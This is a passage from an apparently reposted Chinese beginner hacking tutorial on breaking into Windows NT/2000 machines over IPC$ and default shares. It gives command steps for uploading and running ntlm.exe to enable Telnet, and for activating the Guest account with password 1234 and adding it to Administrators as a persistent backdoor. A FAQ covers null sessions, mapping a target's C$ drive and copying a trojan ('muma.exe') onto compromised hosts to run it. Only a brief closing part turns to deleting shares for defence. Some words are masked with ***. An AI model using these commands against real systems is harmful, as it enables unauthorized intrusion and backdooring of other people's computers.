雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了
　　
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
　　
8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然后使用"net start telnet"來開啟Telnet服務！



9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，操作就像在DOS上操作一樣簡單！(然后你想做什么?想做什么就做什么吧,哈哈)



為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活



11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼



12. C:\>net localgroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這臺計算機)
ipc$常見問題:



1，怎樣建立空連接，它有什么用？
答：使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立一個空連接（需要目標開放ipc$）。
對于NT，在默認安全設置下，借助空連接可以列舉目標用戶、共享，訪問everyone權限的共享，訪問小部分注冊表等，沒有什么利用價值。對2000作用就更小了。而且實現也不方便，需借助工具。



2.為什么我連不上IPC$？
答：1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2.確認你的命令沒有打錯。正確的命令是： net use \目標IPipc$ "密碼" /user:"用戶名"
注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。



3，根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員權限的，先提升權限；
錯誤號51，Windows 無法找到網絡路徑 : 網絡有問題；
錯誤號53，找不到網絡路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火墻（端口過濾）；
錯誤號67，找不到網絡名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網絡登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。



4，關于ipc$連不上的問題比較復雜，沒有總結出一個統一的認識，在肉雞上實驗有時會得出矛盾的結論，十分棘手。 而且知道了問題所在，如果沒有用其他辦法獲得shell，很多問題依然不能解決。



5，怎樣打開目標的IPC$？
答：首先你需要獲得一個不依賴于ipc$的shell，比如sql的cmd擴展、telnet、***。當然，這shell必須是admin權限的。然后你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎么做的請看net命令的用法）。還是不行的話（比如有防火墻，殺不了）建議放棄。



6，怎樣映射和訪問默認共享？
答：使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤，其他盤類推。
如果已經和目標建立了ipc$，則可以直接用IP加盤符加$訪問。比如 copy muma.exe \IPd$pathmuma.exe 。或者再映射也可以，只是不用用戶名和密碼了：net use y: \IPd$ 。然后 copy muma.exe y:pathmuma.exe 。當路徑中包含空格時，須用""將路徑全引住。



7，如何刪除映射和ipc$連接？
答：用命令 net use \IPipc$ /del 刪除和一個目標的ipc$連接。
用命令 net use z: /del 刪除映射的z盤，其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。



8，連上ipc$然后我能做什么？
答：能使用管理員權限的帳號成功和目標連接ipc$，表示你可以和對方系統做深入“交流”了。你可以使用各種命令行方式的工具（比如pstools系列、Win2000SrvReskit、telnethack等）獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享（沒開你就幫他開），你就可以上傳***并運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具（***）還具有直接控屏的功能。如果是2000server，還可以考慮開啟終端服務方便控制。這里提到的工具的使用，請看自帶的說明或相關教程。



9，怎樣防止別人用ips$和默認共享***我？
答：A、一種辦法是把ipc$和默認共享都刪除了。但重起后還會有。這就需要改注冊表。
1，先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………（有幾個刪幾個）
2，禁止別人空連接

轉載于:https://blog.51cto.com/181796968/41947

總結

以上是生活随笔為你收集整理的***入门基础知识(超全)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。